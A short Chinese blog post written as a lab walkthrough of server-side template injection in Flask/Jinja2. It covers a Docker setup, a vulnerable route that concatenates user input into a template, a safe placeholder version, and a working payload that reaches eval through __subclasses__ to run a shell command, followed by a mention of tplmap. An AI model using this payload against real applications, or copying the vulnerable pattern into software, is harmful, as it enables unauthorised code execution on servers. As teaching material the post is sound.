flask-ssti

环境搭建

kali里面用
docker-compose up -d
部署环境
用这个指令查看端口
docker-compose ps

image
访问ip和端口就可以看到已经有了漏洞环境
可以用这个
docker-compose down
指令关闭docker。
注意,要在对应漏洞的环境
这是第一篇,以后不写这么部署环境了

漏洞利用

image
这里可以看到源码,理解很简单,我们可以通过name传入参数。
试试
image
经典测试
这里我们思考一下原理
为什么会存在ssti,这是因为这段代码中存在一个字符串拼接的一个情况,
使用了字符串拼接的方式,将用户输入的变量 name 直接和静态字符串 "Hello " 进行拼接,形成一个新的字符串,从而组成了待渲染的模板字符串。由于字符串拼接的方式不能简单地解析出其中可能存在的恶意代码,因此就会在渲染模板时产生 SSTI 漏洞,使得攻击者可以注入任意代码。

点击查看代码
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

@app.route("/safe")
def safe():
    name = request.args.get('name', 'guest')

    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

我对源码进行了一下修改,这样就可以有一个避免ssti的路由。 使用了 Jinja2 模板的字符串插值功能,将用户输入的变量 name 作为模板字符串的一个占位符(即 {{n}})来使用。这种方式相当于在模板字符串中定义了一个模板变量 n,并将变量值设置为用户输入的值。在渲染模板时,Jinja2 编译器会将模板变量 n 解析成一个 Python 变量,并替换成变量的值,然后再将整个模板字符串渲染为最终的结果。由于 Jinja2 的编译器对模板变量进行了安全的解析和转义,因此可以帮助防止 SSTI 漏洞的产生。

思考一下,我们现在有一个ssti注入点,我们可以利用这个点干什么。官方给了一个任意代码执行的poc

点击查看代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image
这样就完成了一次利用ssti最基础的任意代码执行的一个操作
当然我们可以用神器tplmap
image
懂不懂一步到位

posted @ 2023-04-10 16:15  Dr0se  阅读(9)  评论(0)    收藏  举报